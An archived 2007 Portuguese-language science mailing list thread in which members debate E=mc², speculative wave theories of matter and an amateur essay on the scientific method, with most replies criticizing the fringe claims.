Ou estarei enganado? Na Teoria da Velocidade
Absoluta, o que faz a onda de energia refletir
para tornar-se estacionária?

Grato,

Eduardo Sardeiro

----- Original Message -----
From: J.Victor
To: ciencialist@yahoogrupos.com.br
Sent: Tuesday, May 08, 2007 7:04 AM
Subject: Re: [ciencialist] Re: E=m.c2

JC,

"Hummm, a matéria é feita de ondas? Ondas de que? De matéria? :)"

O que irei adiantar, não corresponde ao que penso. Achei bastante
interessante,
por isso me animei a ler com atenção, a Teoria da Velocidade Absoluta, do
Professor
de telecomunicação Jaroslav Smit, autor de obras na área, como Ondas e
Antenas, Rádio e Propagação e Linhas de Comunicação, tudo da Èrica. Não sei
se se trata de engenheiro eletrônico que é físico, ou se é um físico que é
engenheiro eletrônico.
Numa pesquisa sobra antenas, encontrei, no Ondas e Antenas(e isso já faz
um bom tempo) noções de relatividade restrita, em vista do enfoque que dá à
Teoria do Eletromagnetismo. E também uma introdução à sua Teoria da
Velocidade Absoluta. Não uma velocidade qualquer, mas a das OEM, c, como era
para ser. Em suas palavras, página 251:

" A matéria, na Teoria da Velocidade Absoluta, é onda estacionária em
trajetória fechada.

Se esta matéria, onde não se percebe c externamente, for movida com
velocidade v, poderemos compor um triângulo de velocidades, incluindo c. Mas
ao compormos este triângulo de velocidades nota-se que a resultante, isto é,
a maior velocidade, ou hipotenua do triângulo, será forçosamente c. Assim,
as outras velocidades menores que c serão meros componentes de c.
Concluí-se, diz ele, que no mundo material não há velocidade independente de
c, já que no mundo material todas as velocidades são de matéria ou
energia.Podemos ilustrar com o modelo a seguir, estas várias velolcidades."
E seguem, três figuras:
a) Onda pura, representada por seta, para indicar a velocidade c;
b) Um círculo, para indicar a matéria em repouso, onde c é indicada por
uma seta apontando o sentido do movimento circular; e
c) algo como uma espiral, para indicar a matéria anima de velocidade v,
que aparece como um cateto do triângulo no qual a hipotenusa é c.

As seções seguintes exibem um estudo de triângulos onde tais idéias são
implementadas, matemática e geométricamente, em forma de catetos, com a
hipotenusa, que ele chama de lado da onda. Amarrando, sempre, c aos catetos,
constroi uma estrutura de onde retira os principais resultados da TRR. É um
pouco diferente dos estudos homólogos feitos por autores consagrados, que
usam triângulos como artifício de memorização de fórmulas. Seu enfoque
centra-se na tese acima, o que diferencia os desenvolvimentos. Assim,
encontram-se os seguintes triângulos: de velocidades, das massas, da
Energia, dos Momento, por aí em diante. Extrai, dessa forma, os resultados
conhecidos, usando os postulados da relatividade.

Tudo usando a idéia básica : A matéria, na Teoria da Velocidade Absoluta,
é onda estacionária em trajetória fechada.

Não sei se o Professor Smit ainda está por aquí. Encontrei na internet que
foi um dos fundadores do Mackenzie. Mas não encontrei mais nada a respeito
de sua teoria, ou a importância que lhe foi atribuída. Ao menos tem um
embasamento matemático consistente, embora a tese física seja questionável.
Mesmo assim, ainda hoje, vez ou outra seja mencionada, em outra forma, como
o fez o Sardeiro.

Contudo, prefiro ater-me ao que sei que funciona, que nunca virou a cara
ou fez muxôxo para a experimentação. Uma vida só é pouco para se extrair
todas as incidências da TR nossa de cada dia. Mas é interessante ler sobre
as tentativas, em busca de outras alternativas. Que são só tentativas, ao
fim e ao cabo.

Sobre E = m c^2, existe realmente um entendimento inadequado de qual o
papel de E e m, na equação. Mas deixa prá lá. Já se falou muito a respeito,
embora sem explicitar as essencialidades.

Sds,
Victor.

----- Original Message -----
From: José Carlos Antonio
To: ciencialist@yahoogrupos.com.br
Sent: Tuesday, May 08, 2007 12:27 AM
Subject: [ciencialist] Re: E=m.c2

Hummm, a matéria é feita de ondas? Ondas de que? De matéria? :)

Abraços,
JC

--- Em ciencialist@yahoogrupos.com.br, "Eduardo Sardeiro"
<eduardo@...> escreveu
>
> Prezados Senhores,
>
> Embora já tenha apresentado minha opinião a respeito desta
> célebre equação E=m.c2 e não ter sido bem entendido, volto
> a insistir em que ela é a maior evidência de que *a matéria é
> feita de ondas*.
>
> A questão é: de que tipo de onda a matéria é feita? O que a
> torna instável, a ponto de ser liberada em uma explosão nuclear
> e o que a torna estável a ponto de conservar o número de
> bárions?
>
> Sei que existem inúmeras explicações teóricas para estes
> fenômenos que não necessitam que a matéria seja feita de
> ondas.
>
> Entretanto, recentemente tem sido levantado a suspeita de que
> matéria são ondas estacionárias (ver Wave Structure of Matter),
> tendo o elétron como onda básica, capaz de gerar todas as
> demais partículas...
>
> Existem evidências de que isto é possível. Se for validado,
> teremos um trunfo na mão. Se não for, continuaremos na
> suspeita.
>
> Se o elétron é uma onda básica ou não, não vem ao caso ainda.
> Entretanto o maior ponto de discordia da Teoria Ondulatória
> da Matéria é onde tais ondas refletem para se tornarem
> estacionarias. Sim: já que partículas são ondas estacionárias elas
> precisam de um *anteparo* para refletir!
>
> A maioria dos especuladores supõem que as ondas de matéria
> propagam-se e refletem-se nas 'bordas' do Ether, explicando
> assim o porquê ocorrem interações mesmo entre objetos
> astronomicamente distantes e o porquê nunca temos um
> sistema perfeitamente isolado.
>
> Essa explicação falha, porque sabemos que o Ether preenche
> todo o Universo observável e que ele é extremamente grande.
> Levaria muito, muito, muito tempo para que houvesse a
> reflexão de uma onda estacionária tão minúscula como o
> eletron. Alguns alegam que a reflexão vem ocorrendo desde o
> inicio do Universo, é initerrupta e constante, logo não haveria
> necessidade de uma onda ir e vir para fazer ocorrer uma
> partícula... A onda sempre estaria ali, assim como o eletron de
> um fio carregado sempre esteve ali: ele não se propagou da
> Austrália para o Brasil, e sim a 'força eletromotriz' o fez
> movimentar-se.
>
> São vários blá-blá-blás de teorias que ainda não me deixaram
> satisfeito. Existe a necessidade de uma explicação razoável de
> como a onda de matéria reflete-se.
>
> Não pode ser em outra onda, pois ondas normais não refletem
> -se uma na outra. Elas podem colidir, ampliando, diminuindo ou
> mesmo anulando uma a outra. Não existe nenhum exemplo na
> natureza em que isso ocorra: não há reflexão entre ondas de
> intensidades nem de frequências diferentes. Elas sempre
> colidem.
>
> Venho analisando atualmente a possibilidade de ondas eletro-
> magnéticas com frequências tão infinitamente pequenas e
> contendo energias tão avalasadoras que sucumbiriam em
> 'espaços atemporais'. Ou seja, os *anteparo* seriam intervalos
> atemporais que aprisionariam as ondas de matérias,
> transformando-as no que chamamos de partículas. Isto
> evidenciaria o tempo uma entidade discreta e não contínua. As
> ondas estariam aprisionadas de tal forma que somente em
> colisões com outras partículas, sob determinados aspectos de
> massa e velocidade, poderiam liberá-las. Sob outras condições,
> as partículas poderiam ser absorvidas e por aí vai...
>
> Estes comentários são só esboços de um trabalho maior que
> tentam apenas demonstrar a grande evidência apontada por
> E=m.c2. E isto não pode ser contestado.
>
> Até a qualquer momento e um forte abraço.
>
> Eduardo Sardeiro
> http://br.groups.yahoo.com/group/NetProcessing/
>



SUBJECT: Re: [ciencialist] Re: O Que é Fazer Ciencia? ::: (artigo sobre o método cientifico e o tempo)
FROM: "Oraculo" <oraculo@atibaia.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 08/05/2007 14:44

Olá Ferrari

Ferrari: " Homero, a explicação que dei ao Alvaro, na mesma thread, é a mesma que tenho para lhe dar aqui."

A explicação que deu ao Alvaro era uma bobagem quando deu a ele, e ainda é uma bobagem agora..:-) Uma enorme, gritante, imensa, bobagem. Mais um dos seus jogos de palavras que não tem sentido, nem significam nada, a não ser o prazer que você tem de ouvir suas próprias palavras.

Deixe-me explicar melhor usando um exemplo do que tenta discutir com o Takata: você disse ao Takata que ambos estão "exercendo seus achismos". Isso não só não é verdade, como é tolice da grossa. O que o Takata está fazendo (com enorme paciência) é tentando enfiar em sua cabeça dura o conhecimento atual sobre o universo, conhecimento científico confiável e que permite a construção de TUDO que vê a sua volta, inclusive o computador e a rede mundial que usa para enviar suas maluquces. Conhecimento que foi TESTADO de forma rigorosa, trabalhosa, por longos e estafantes períodos de tempo, e que hoje se consolidaram em teorias bem embasadas e com enorme suporte concreto.

O que VOCÊ está fazendo é distorcer tudo isso, e apresentar alegações que NADA produzem ou significam, que não podem ser confirmadas ou testadas, que nao produzem desdobramentos ou base para novos conhecimentos. Nada de nada.

Sua "teoria sobre a matéria" não resulta em NADA. Não há nenhuma forma de verificar se o amontoado de tolices que apresenta são reais ou confiáveis.

A equação, E=mc2, resultado de ENORME esforço e trabalho, que foi testada em diferentes experimentos e estudos, tem desdobramentos. Significa que existe uma equivalencia (por isso o sinal de igualdade) entre matéria e energia, e que se pegarmos um punhado de átomos de hidrogenio, por exemplo, 40 gramas, e os fundirmos, ao submete-los a enorme pressão e temperatura (como uma bomba atomica), alguns se fundirão em um novo átomo, de hélio, e isso liberará enorme quantidade de energia.

O nome desse dispositivo é Bomda H, de Hidrogenio, e pode verificar o acerto dessa previsão nos muitos dispositivos que foram construidos dessa forma. Com 40 gramas de hidrogenio, podemos gerar enormes quantidades de energia, em quantidades bem definidas pelas equações da física (essa fisica que você "despreza", criada por cientistas ateus/materialistas tolos..:-).

Na verdade, todo conjunto de conhecimentos que se relaciona com a equação famosa, E=mc2, resulta em tanta coisa, do aparelho de raio-X, a tomografia computadorizada, da bomba atomica, bomba H e usinas nucleares, até a química avançada de laboratórios espaciais, de aparelhos GPS (que precisam ser corrigidos a partir da relatividade) ao computador que você usa, que é difícil descobrir uma área de pesaquisa que esteja fora desse alcance. Ciência é um conjunto de conehcimentos e conclusões que forma uma descrição confiável do universo a nossa volta, e que produz teorias confiáveis sobre as relações e fenomenos que detectamos nesse universo.

E certamente ciência não é um jogo de palavras, com o uso de distorções semanticas, que criamos depois de uma noite de bebedeira, ou para exercer nossa criatividade pós-modernista.

Se entendesse um mínimo o que é ciência, método científico, etc, bastaria uma frase para acabar com a discussão, e faze-lo voltar a um silencio racional: PROVE suas alegações, Ferrari.

Apresente experimentos que, se efetivados com sucesso, demonstrem que sua alegação é correta, real ou próxima disso (mais do que as teorias que pretende refutar, no mínimo). SE energia é matéria em vibração, ENTÃO...

Então o que, Ferrari? Como demonstrar que seu jogo de palavras maluco é real????

As equações de Maxell, sobre a unificação do eletromagnetismo, são aceitas porque suas evidencias são fortes. E parte dessas evidências são as coisas que VOCÊ usa para escrever para a lista, seu telefone celular, a TV que assiste todos os dias, etc, etc, etc. Se as equações de Maxwell não fossem tão próximas da realidade, nada disso funcionaria como funciona. Seu computador e sua TV não funcionariam. Bem, acho que tudo tem um lado positivo, pois não receberiamos suas mensagens ..:-)

Ferrari: "Sei da minha ignorancia da linguagem
da fisica. E não escondo de ninguém. Não tenho porque."

Não, Ferrari, não ignora a "linguagem" da fisica apenas, ignora a física propriamente dita, a ciência em geral, o método científico, a filosofia da ciência, etc, etc, etc. E ainda assim pensa saber mais que todos os tolos cientistas materialistas do planeta, que não veem como suas teorias são brilhantes e corretas. E insiste em que, com base em toda essa ignorância, é capaz de compreender a matéria e a física melhor que todos eles. Isso sim é espantoso!

Eu realmente acho que você gosta do som de suas palavras e de suas frases, mais do que gosta da realidade deste universo, e prefere um lindo discurso pós-modernista, sem sentido mas elaborado com cuidado, do que a natureza real das coisas. Só isso explica sua resistência a toda e qualquer tentativa que os co-listeiros fazem para esclarecer seus erros e enganos sobre ciência.

Um abraço.

Homero







----- Original Message -----
From: Ferrari
To: ciencialist@yahoogrupos.com.br
Sent: Tuesday, May 08, 2007 11:36 AM
Subject: Re: [ciencialist] Re: O Que é Fazer Ciencia? ::: (artigo sobre o método cientifico e o tempo)


Olá Homero!

Homero >>> Ver o óbvio??!?!?! Óbvio é que o Sol gira
ao redor de nós, que as estrelas são pregadas em uma
abóboda celestial fixa...

--- Homero, a explicação que dei ao Alvaro, na mesma
thread, é a mesma que tenho para lhe dar aqui. Por
favor, lendo-a, creio que me entenderá melhor. Se
ainda assim não entender, estou a disposição para o
debate sobre o assunto.

Homero >>> está a léguas de distância de sua atual
capacidade em termos de conhecimentos básicos de
física

--- Como disse ao Alvaro, este artigo não foi escrito
para tratatar da questão da fisica e da gravitação,
mas da relação entre raciocinio e método cientifico.
Ou seja, o "fazer ciencia" e não o "fazer fisica".

Homero >>> antes de ficar bravo, lembre-se de que não
é demérito ignorar conhecimentos científicos

--- Com certeza. Sei da minha ignorancia da linguagem
da fisica. E não escondo de ninguém. Não tenho porque.
E poir! Nem como.

Homero >>> Newton não "percebeu" que tudo caia, o que
é óbvio e já havia sido notado provavelmente até por
nossos antepassados australopitecus, ele demonstrou
como as relações entre corpos poderiam ser descritas
em termos matemáticos precisos e confiáveis.

--- Novamente, Homero, como explico ao Alvaro, apenas
usei a história da maça, porque é uma história muito
conhecida, curiosa e ilustrativa. Poderia ter usado
outra, se tivesse estas caracteriscas também. O motivo
foi por didática no estudo sobre metodo cientifico e o
raciocinio e não para se compreender e estudar a
gravitação ou a fisica.

Homero >>> Assim fica difícil, Ferrari.:-)

--- Ruido de comunicação. Nenhuma comunicação e
perfeita, nem quando conversamos com nós mesmos. O
jeito é ir tirando o ruido.

outro abraço
sinceramente
ferrari

- - - - - - - - - - - - - - -

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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: P/ J.Vitor - Material, imaterial e amaterial/Era Re: E=m.c2
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 08/05/2007 14:50

--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...>
> c) arte é analógica.

O pessoal do FILE não vai gostar de q - em sua incursão à crítica
artística - afirmar q o q eles fazem não é arte.

http://www.file.org.br/

(Tudo 100% digital.)

[]s,

Roberto Takata



SUBJECT: Re: O Que é Fazer Ciencia? ::: (artigo sobre o método cientifico e o tempo)
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 08/05/2007 15:00

--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...>
> Palavras são apenas os braços do raciocinio. Estou
> jogando sim com o raciocinio do leitor

Se é raciocínio seria possível colocar em esquemas silogísticos
aristotélicos.

Apresente então suas premissas, o esquema silogístico e extraia daí,
segundo operações lógicas válidas, as conclusões. (Falo do
aristotélico por ser mais simples, mas se quiser usar um esquema fuzzy
- não confundir com esquema confuso - ou paraconsistente tudo bem.)
(No esquema aristotélico, usaremos o diagrama de Venn como validador
lógico.)

Exemplo:
1 - Toda matéria é vibração
2 - Vibrações difundem-se no espaço
----------------------------------------------
3 - Toda matéria difunde-se no espaço

Podemos comparar a previsão 3 com a realidade, notamos q a matéria NÃO
se difunde pelo espaço, assim, concluímos q uma das premissas ou as
duas estão erradas.

Pelos resultados da Física de Ondas, temos segurança em relação à
premissa 2, logo a premissa 1 tem problemas.

Note-se q o esquema é sempre pesado contra os fatos - os fatos mostram
q a matéria não se difunde pelo espaço, os fatos indicam q as
vibrações difundem-se pelo espaço. E isso, no caso, tem implicações a
respeito da premissa 1: ela é falsa.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] O Que é Fazer Ciencia? ::: (artigo sobre o método cientifico e o tempo)
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 08/05/2007 15:09

Caro Ferrari,

Entendo perfeitamente que você está tentando falar sobre método científico,
não sobre física. Mas uma pessoa que usa somente um lado da "história da
maçã" não me parece ter muito método... nem ciência. Note: isso não é física
nem filosofia avançada. Qualquer um que já leu Marcelo Gleiser ou Carl Sagan
deve saber a versão completa da "história da maçã".

[ ]s

Alvaro Augusto



----- Original Message -----
From: "Ferrari" <emailferrari@yahoo.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Tuesday, May 08, 2007 12:47 PM
Subject: Re: [ciencialist] O Que é Fazer Ciencia? ::: (artigo sobre o método
cientifico e o tempo)


> Olá Alvaro!
>
> Alvaro >>> O seu jogo de palavras e tentativa de
> confusão semântica fariam sucesso no Forum Social
> Mundial, onde a dialética vale mais do que os fatos.
> Mas não aqui.
>
> --- Não é jogo de palavras e troca de raciocinio.
> Palavras são apenas os braços do raciocinio. Estou
> jogando sim com o raciocinio do leitor, e o motivo é
> simples, possibilitar uma mudança de raciocinio do
> leitor com a leitura. Mas a obrigação não é uma
> obrigação, é uma oferta.
>
> Alvaro >>> A sua tentativa de escapar do fato de não
> ter mencionado a "queda da Lua", por exemplo, é
> simplesmente patética.
>
> --- Poxa, Alvaro, é simples, não mencionei porque
> "fisica" não é o foco do artigo, o foco é explicar a
> relação entre raciocinio e método cientifico. Só isto.
> Usei a história da maça por motivios didáticos. Ela
> tem várias qualidades didáticas, só isto. Poderia ter
> usado outra, quimicas, biologicas, etc, se tivesse as
> mesmas qualidades didaticas que procurava pra ilustrar
> a explicação. Só isto.
>
> Alvaro >>> Apesar do seu contorcionismo, vamos voltar
> a ela: por que o fato de que a Lua cai é óbvio?
>
> --- Ok, posso estar equivocado no caso da lua cair. Se
> é uma observação direta assim como a queda da maça. E
> se é sempre, assim como a queda da maça. Então a queda
> da lua entra na definição de óbivo também, pois
> satisfaz estas regras da definição. Mas sugiro que não
> se pegue tanto a fisiques do artigo ao le-lo, mas sim
> a relação raciocinio e metodo cientifico, que é sobre
> o ele fala.
>
>
> sinceramente
> ferrari
>
>
>
>
>
>
>
>> ----- Original Message -----
>> From: "Ferrari" <emailferrari@yahoo.com.br>
>> To: <ciencialist@yahoogrupos.com.br>
>> Sent: Tuesday, May 08, 2007 9:34 AM
>> Subject: Re: [ciencialist] O Que é Fazer Ciencia?
>> ::: (artigo sobre o método
>> cientifico e o tempo)
>>
>>
>> > Olá Alvaro!
>> >
>> > Alvaro >>> "Lei do sempre"? Que tristeza reduzir o
>> > problema da indução de Hume a uma verdade
>> empacotada!
>> >
>> > --- Alvaro, respeito sua tristeza e sua
>> interpretação,
>> > mas não compartilho delas. Não acho que uma
>> > compreensão, para ser verdadeira, tenha que ser
>> > complexa. Acho justamente o contrário. Acho que
>> deve
>> > ser simples e analogica. E não escrevi o artigo
>> > baseado no Hume, meu raciocinio e o dele são
>> analogos
>> > porque observamos a mesma verdade. O mesmo óbvio
>> de
>> > sempre.
>> >
>> > Alvaro >>> O grande filósofo, assim como tantos
>> depois
>> > dele, concluiu que nada, absolutamente nada, pode
>> nos
>> > garantir que um fenômeno que aconteceu milhões de
>> > vezes irá acontecer novamente.
>> >
>> > --- "Tudo agora mesmo pode estar por um segundo",
>> > canta Gilberto Gil. A chave da questão aqui está
>> na
>> > palavra "garantir", concorda? O que é garantia? E
>> qual
>> > é sua ligação com o tempo?
>> >
>> > Alvaro >>> É apenas nossa psicologia que nos induz
>> a
>> > esse raciocínio, pois buscamos desesperadamente
>> por
>> > ordem no universo.
>> >
>> > --- Algumas das questões aqui são:
>> >
>> > a) e o raciocinio tem outra opção?
>> > b) o que é ordem?
>> > c) se é o raciocinio que organiza o universo, quem
>> > organiza o raciocinio.
>> >
>> > Alvaro >>> Também é desagradável ver que você
>> reduziu
>> > uma das descobertas de Newton a uma trivialidade.
>> >
>> > --- Alvaro, usei a histórinha da maça como base
>> para o
>> > leitor visualizar o que é fazer ciencia. Meu
>> objetivo
>> > com o artigo não é falar sobre a teoria da
>> gravidade,
>> > mas sim sobre a relação entre o raciocinio e o
>> método
>> > cientifico.
>> >
>> > Alvaro >>> Sim, muitos antes de Newton haviam
>> > percebido que maçãs caem, que laranjas caem, que
>> > meteoros caem. Mas Newton foi o primeiro a
>> perceber
>> > que a Lua (que você não cita no seu texto) também
>> cai.
>> > E isso não é trivial. Nem óbvio.
>> >
>> > --- Como disse acima, o artigo não trata da teoria
>> da
>> > gravidade, mas como coloquei no assunto "O Que é
>> Fazer
>> > Ciencia? ::: (artigo sobre o método cientifico e o
>> > tempo)". Sobre o fato da lua cair não ser óbvio, é
>> > porque isto é um adedução. E o óbvio é o
>> observavel, e
>> > não o deduzido. As discordancias cientificas se
>> dão no
>> > ambito das deduções e não das observações. Assim,
>> uma
>> > dedução cientifica pode ser óbvia só pra voce e
>> pra
>> > mais ninguém, e ainda assim se mantér como um
>> "dedução
>> > cientifica" (hipótese). Mas se uma "observação
>> > cientifica" for óbvia só pra voce, ai nem
>> cientifica
>> > ela será considerada, não é mesmo? Sendo assim, o
>> > óbvio no qual o texto trata é o óbvio cientifico
>> > (observavel). Ou seja, é o fenomeno que é sempre
>> óbvio
>> > e sempre observavel por todos os observadores
>> > (humanos).
>> >
>> > Resumindo: o óbvio (cientifico) é o sempre
>> > (cientifico). Teorias sobre o óbvio mudam porque
>> não
>> > são o óbvio, são teorias sobre o óbvio. O óbvio
>> não
>> > muda porque é sempre. Se não fosse sempre, não
>> seria
>> > óbvio. Isto não lhe parece óbvio?
>> >
>> >
>> >
>> >
>> > sinceramente
>> > ferrari
>> >
>> >
>> >
>> >
>> >
>> >
>> >> ----- Original Message -----
>> >> From: "Ferrari" <emailferrari@yahoo.com.br>
>> >> To: <ciencialist@yahoogrupos.com.br>
>> >> Sent: Monday, May 07, 2007 8:18 AM
>> >> Subject: [ciencialist] O Que é Fazer Ciencia? :::
>> >> (artigo sobre o método
>> >> cientifico e o tempo)
>> >>
>> >>
>> >> >O QUE É FAZER CIÊNCIA? - por Ferrari
>> >> > http://leisdosempre.blogspot.com
>> >> >
>> >> > (sobre o método cientifico e o tempo)
>> >> >
>> >> > Conta a história, que Issac Newton estava
>> >> dormindo,
>> >> > quando uma maça caiu sobre sua cabeça. Ele
>> poderia
>> >> ter
>> >> > ignorado o incomodo e continuado seu cochilo.
>> Mas
>> >> não:
>> >> > eureka! Newton acordou da ignorancia e viu a
>> lei
>> >> da
>> >> > gravidade! Se esta história é real ou
>> imaginária,
>> >> não
>> >> > importa, ela é perfeita para ilustrar o que
>> >> significa
>> >> > "fazer ciência".
>> >> >
>> >> >>>> Fazer ciência é ver o óbvio.
>> >> >
>> >> > Fazer ciência é fazer o que Issac Newton fez:
>> ver
>> >> o
>> >> > óbvio. Maças caem. Laranjas caem. Xícaras caem.
>> >> > Meteoros caem. Todas os corpos caem. É óbvio.
>> Não
>> >> há
>> >> > nenhuma novidade neste comportamento da
>> natureza.
>> >> > Estamos cansados de ver coisas caindo,
>> repetidas
>> >> > vezes, todos os dias, sempre. O que tem de
>> genial
>> >> em
>> >> > ver o óbvio?
>> >> >
>> >> >>>> Óbvio é sempre. (padrão repetitivo).
>> >> >
>> >> > O genial na visão de Newton não foi ver a maça
>> >> caindo,
>> >> > isto ele já estava cansado de ver. O genial na
>> >> visão
>> >> > de Newton foi ver que este comportamento (a
>> queda
>> >> da
>> >> > maça) era um padrão sempre.
>> >> >
>> >> >>>> Fazer ciência é ver o sempre (repetição
>> >> eterna).
>> >> >
>> >> > Newton não viu a maça caindo, ele viu um
>> fenomeno
>> >> que
>> >> > se repetia sempre da mesma maneira: a queda.
>> >> Depois
>> >> > viu uma inteligencia natural (lei do sempre)
>> >> > responsável por fazer aquele fenomeno se
>> repetir
>> >> > sempre da mesma maneira. Porém, para Newton ver
>> >> esta
>> >> > inteligencia natural (lei do sempre), Newton
>> não
>> >> usou
>> >> > os mesmos olhos que ele usava para ver as
>> coisas
>> >> > (fisicas).
>> >> >
>> >> >>>> Fazer ciência é ver as leis do sempre com os
>> >> olhos
>> >> > da lógica.
>> >> >
>> >> > Maças caem sempre. Laranjas caem sempre.
>> Xícaras
>> >> caem
>> >> > sempre. Meteoros caem sempre. Todas os corpos
>> caem
>> >> > sempre. SE tudo na natureza sempre cai, LOGO,
>> cair
>> >> é
>> >> > uma lei eterna na natureza. SE repete Sempre,
>> >> LOGO,
>> >> > segue Sempre a mesma regra.
>> >> >
>> >> >>>> Fazer ciência é imaginar as leis do sempre.
>> >> >
>> >> > Newton não criou o comportamento repetitivo da
>> >> > natureza (a queda), mas ele foi o primeiro a
>> >> imaginar
>> >> > um raciocínio (teoria) que explica este
>> >> comportamento.
>> >> > Esta raciocínio (teoria) que ele imaginou é
>> >> > popularmente conhecida como "lei da gravidade".
>> >> >
>> >> >>>> Conhecimento cientifico é um livro de
>> >> raciocínios
>> >> > (teorias) sobre o sempre.
>> >> >
>> >> > Ao raciocinar o fenomeno da queda e imaginar a
>> lei
>> >> da
>> >> > gravidade, Newton contribuiu para mais uma
>> página
>> >> > deste livro de suposições sobre o sempre que
>> >> chamamos
>> >> > de conhecimento cientifico.
>> >> >
>> >> >>>> Conhecimento cientifico é uma tentativa de
>> >> prever
>> >> > o futuro.
>> >> >
>> >> > Se as leis naturais que irão reger o momento
>> >> futuro
>> >> > são exatamente as mesmas leis que estavam
>> regendo
>> >> o
>> >> > passado --- ou seja, se são mesmo leis eternas
>> ---
>> >> e
>> >> > se a forma como raciocinamos estas leis são
>> >> > equivalentes a realidade --- então, uma teoria
>> >> > cientifica (regra cientifica) dá ao cérebro o
>> >> > conhecimento desta lei e, consequentemente, a
>> >> > capacidade de pré-visão do futuro através da
>> >> simulação
>> >> > mental.
>> >> >
>> >> >>>> A teoria cientifica (regra cientifica)
>> otimiza
>> >> o
>> >> > sucesso no objetivo.
>> >> >
>> >> > Uma teoria cientifica, por ser fruto de muita
>> >> > experiência, minimiza a possibilidade de erro e
>> >> > otimiza a possibilidade de acerto dos seus
>> >> usuários.
>> >> > Por exemplo, se a regra cientifica diz que
>> chove
>> >> no
>> >> > verão e faz frio no inverno, uma pessoa pode
>> usar
>> >> esta
>> >> > regra cientifica, por exemplo, para obter
>> sucesso
>> >> na
>> >> > agricultura da cana de açúcar.
>



SUBJECT: Re: O Que é Fazer Ciencia? ::: (artigo sobre o método cientifico e o tempo)
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 08/05/2007 15:12

--- Em ciencialist@yahoogrupos.com.br, "Alvaro Augusto \(L\)"
> Agora só falta você dizer que é óbvio que uma maçã caindo sobre a
> cabeça de Sir Isaac Newton implica na existência de um planeta com
> 17 vezes a massa da Terra, localizado a 4,5 bilhões de quilômetros
> do Sol!

Coisas q a teoria da matéria de Ferrari precisa fazer para demonstrar
q é tão boa qto a teoria atual:

- Prever o espectro de emissão do átomo de hidrogênio;
- Prever a relação entre o momento da partícula e o comprimento da
onda de deBroglie;
- Prever a relação entre carga elétrica, distância de separação das
cargas e a intensidade da interação entre as cargas;
- Prever a relação entre massa dos corpos, distância entre os corpos e
a intensidade de interação entre eles;
- Prever a intensidade de interação entre os quarks e a probabilidade
de decaimento do núcleo de um dado elemento;
- Prever o grau de desvio de um feixe luminoso ao passar em certo
ângulo por um campo gravitacional de certa intensidade originado por
um corpo puntiforme e a uma dada distância;
- Prever a velocidade de transmissão de dados por cabos elétricos e de
fibra óptica e a razão sinal/ruído dado um certo grau de compressão e
saturação da via;
- Prever o resultado da inequação de Bell dadas duas grandezas conjugadas;
- Prever a geometria do espaço-tempo dada uma densidade de
matéria-energia;

Coisas q a teoria de Ferrari precisa fazer para demonstrar q é melhor
do q a atual (supondo q consiga demonstrar antes q é tão boa qto):
- Prever as massas das partículas fundamentais;
- Prever os valores de carga elétrica e cor das partículas;
- Prever as condições de unificação das interações fundamentais.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Re: E=m.c2
FROM: "Eduardo Sardeiro" <eduardo@simetrias.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 08/05/2007 15:59

Olá Alvaro,

Estamos chegando próximos de um entendimento!

A Teoria Ondulatória da Matéria visa ser uma outra
opção coerente e concreta para explicar os
fenômenos físicos, em contrapartida às explicações
apresentadas pela Física Quântica.

Existem inúmeras outras teorias que estão sendo
desenvolvidas por Físicos espalhados pelo globo.

Estas teorias estão se tornando particurlarmente
interessantes em Realidade Virtual, onde tornam
necessário ter-se teorias completas que possam
ser modeladas, programadas e executadas em
computadores.

Imagine um universo que não exista inércia? Ou
onde não exista velocidade máxima? Quais as
consequências disto?

Para que possamos entender e vislumbrar tais
universos, só criando teorias completas,
consistentes e detalhadas.

Criar leis Físicas para Realidades Virtuais não é o
objetivo principal destes trabalhos, mas considere.

A propósito, a Teoria Ondulatória da Matéria
fornece subsídios completos para modelar átomos de
hidrogênio, hélio ou qualquer outro. Se vc encontrou
alguma falha, por favor relate-nos.

Um forte abraço,

Eduardo Sardeiro
http://br.groups.yahoo.com/group/NetProcessing/


----- Original Message -----
From: Alvaro Augusto (L)
To: ciencialist@yahoogrupos.com.br
Sent: Tuesday, May 08, 2007 2:31 PM
Subject: Re: [ciencialist] Re: E=m.c2


Essa hipótese da "onda estacionária" nada mais é do que uma maneira
diferente de escrever os postulados de Bohr. E o modelo do átomo de Bohr
funciona bem para o hidrogênio, razoavelmente bem para o hélio, mas falha
para todo o restante.

[ ]s

Alvaro Augusto

----- Original Message -----
From: "J.Victor" <j.victor.neto@uol.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Tuesday, May 08, 2007 2:21 PM
Subject: Re: [ciencialist] Re: E=m.c2

Sardeiro: A conclusão de que a matéria é uma onda
estacionária em trajetória fechada é algo
interessante. Contudo ela tb esbarra na
questão do 'recipiente' ou 'anteparo' da onda.
Ou estarei enganado? Na Teoria da Velocidade
Absoluta, o que faz a onda de energia refletir
para tornar-se estacionária?

Victor: Sinceramente, não sei. Vislumbro algumas
possibilidades, mas não me dediquei a pensar
sobre isso. Como disse, apenas achei interessante e tive o
trabalho de acompanhar o desenvolvimento matemático
que dá suporte à tese, vendo-lhe as consequências.
Mas sem engajamento ou algum interêsse sério.
Por razões óbvias. Mas fica a indicação, e quem pensa
assim não está só. É isso.

sds,
Victor.

----- Original Message -----
From: Eduardo Sardeiro
To: ciencialist@yahoogrupos.com.br
Sent: Tuesday, May 08, 2007 10:11 AM
Subject: Re: [ciencialist] Re: E=m.c2

Prezado Victor,

Fico satisfeito quando encontro ao menos uma
linha de pensamento em que posso dialogar e
arguir sem usar de analogias.

Ao contrário, fico indignado quando leio
frases do tipo "Daqui a uns cem anos essa
molecada chega na questão da dualidade onda-
partícula.", em plena época dos jogos
eletrônicos, tais quais o Next Generation, em
